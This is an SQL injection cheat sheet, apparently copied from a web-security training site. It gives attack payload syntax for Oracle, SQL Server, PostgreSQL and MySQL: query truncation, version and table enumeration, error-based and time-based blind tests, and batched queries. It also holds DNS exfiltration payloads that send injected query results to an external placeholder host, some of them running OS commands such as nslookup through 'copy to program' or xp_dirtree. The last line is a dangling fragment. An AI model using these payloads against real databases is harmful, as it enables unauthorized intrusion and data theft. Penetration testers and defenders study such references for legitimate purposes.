SQLi Cheatsheet
Last updated
Last updated
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.
You can concatenate together multiple strings to make a single string.
Oracle
'foo'||'bar'
Microsoft
'foo'+'bar'
PostgreSQL
'foo'||'bar'
MySQL
'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.
Oracle
SUBSTR('foobar', 4, 2)
Microsoft
SUBSTRING('foobar', 4, 2)
PostgreSQL
SUBSTRING('foobar', 4, 2)
MySQL
SUBSTRING('foobar', 4, 2)
You can use comments to truncate a query and remove the portion of the original query that follows your input.
Oracle
--comment
Microsoft
--comment
/*comment*/
PostgreSQL
--comment
/*comment*/
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.
Oracle
SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft
SELECT @@version
PostgreSQL
SELECT version()
MySQL
SELECT @@version
You can list the tables that exist in the database, and the columns that those tables contain.
Oracle
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
You can test a single boolean condition and trigger a database error if the condition is true.
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
You can potentially elicit error messages that leak sensitive data returned by your malicious query.
Microsoft
SELECT 'foo' WHERE 1 = (SELECT 'secret')
> Conversion failed when converting the varchar value 'secret' to data type int.
PostgreSQL
SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
> invalid input syntax for integer: "secret"
MySQL
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
> XPATH syntax error: '\secret'
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
Oracle
Does not support batched queries.
Microsoft
QUERY-1-HERE; QUERY-2-HERE
PostgreSQL
QUERY-1-HERE; QUERY-2-HERE
MySQL
QUERY-1-HERE; QUERY-2-HERE
Note
With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
Oracle
dbms_pipe.receive_message(('a'),10)
Microsoft
WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT pg_sleep(10)
MySQL
SELECT SLEEP(10)
You can test a single boolean condition and trigger a time delay if the condition is true.
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.
Oracle
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL
The following techniques work on Windows only:
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.
Oracle
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoft
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQL
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL
The following technique works on Windows only:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
() vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:
